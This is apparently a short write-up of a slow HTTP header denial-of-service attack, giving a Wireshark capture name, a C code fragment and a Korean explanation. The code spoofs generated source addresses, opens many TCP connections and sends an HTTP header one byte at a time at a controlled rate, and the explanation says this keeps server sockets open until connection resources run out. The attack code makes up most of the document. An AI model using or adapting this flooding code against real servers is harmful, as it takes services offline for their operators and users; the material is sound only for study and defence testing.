Wireshark Capture
210322_headerbuff.pcapng

Code Implementation
pthread_mutex_lock(&g_headbuf_mutex);
//making tcp connection
if (g_headbuf_sockets[g_headbuf_current_idx] == -2) {
// get now resource
generator(g_headbuf_src_ip, g_headbuf_dest_ip, g_headbuf_src_mask,
g_headbuf_dest_mask, g_headbuf_dest_port_start,
g_headbuf_dest_port_end, g_headbuf_now_src_ip,
g_headbuf_now_dest_ip, &g_headbuf_now_dest_port);
g_headbuf_sockets[g_headbuf_current_idx] = socket(AF_INET,SOCK_STREAM, 0);
int sdbf = 2;
if (g_headbuf_sockets[g_headbuf_current_idx] == -1) {
perror("sock creation failed\\n");
}
g_headbuf_sockets[g_headbuf_current_idx] = tcp_make_connection(
inet_addr(g_headbuf_now_src_ip),
inet_addr(g_headbuf_now_dest_ip),
&(g_headbuf_src_ports[g_headbuf_current_idx]),
g_headbuf_now_dest_port,
g_headbuf_seq + g_headbuf_current_idx,
g_headbuf_ack + g_headbuf_current_idx);
}
// wait a second
if (g_headbuf_num_generated_in_sec >= g_headbuf_request_per_sec) {
pthread_cond_wait(&g_headbuf_cond, &g_headbuf_mutex);
}
// time checking
time_check(&g_headbuf_mutex, &g_headbuf_cond, &g_headbuf_before_time,
&g_headbuf_now_time, &g_headbuf_num_generated_in_sec);
// send
int sent_size = -1;
if (g_headbuf_sockets[g_headbuf_current_idx] >= 0) {
printf("src port = %d, data = %c\\n",
g_headbuf_src_ports[g_headbuf_current_idx],*(g_headbuf_request_msg
+ g_headbuf_http_cursor[g_headbuf_current_idx]));
tcp_socket_send_data_no_ack(g_headbuf_sockets[g_headbuf_current_idx],
inet_addr(g_headbuf_now_src_ip),
inet_addr(g_headbuf_now_dest_ip),
g_headbuf_src_ports[g_headbuf_current_idx],
g_headbuf_now_dest_port,
g_headbuf_request_msg
+ g_headbuf_http_cursor[g_headbuf_current_idx], 1,
g_headbuf_seq[g_headbuf_current_idx], g_headbuf_seq[g_headbuf_current_idx]);
g_headbuf_seq[g_headbuf_current_idx]++;
g_headbuf_num_generated_in_sec++;
g_headbuf_num_total++;
g_headbuf_http_cursor[g_headbuf_current_idx] += 1;
if (g_headbuf_http_cursor[g_headbuf_current_idx]
>= __HEADER_BUFFERING_REQUEST_MSG_SIZE__) {
close(g_headbuf_sockets[g_headbuf_current_idx]);
g_headbuf_sockets[g_headbuf_current_idx] = -1;
}
g_headbuf_current_idx++;
}
if (g_headbuf_current_idx >= g_headbuf_maximum) {
g_headbuf_current_idx = 0;
}
How it works
- TCP 3-Way Handshake 과정을 거친 후 GET Flooding과 유사하게 HTTP 헤더를 전송한다.
- 차이점은 헤더를 전송할 때 데이터를 한번에 보내지 않고 1 byte씩 전송한다.
- 서버쪽에서는 데이터 전송이 완료될 때 까지 소켓 연결을 종료하지 못하고 계속 열어두게 되고 이 과정에서 연결을 처리하는 소켓 자원이 낭비된다.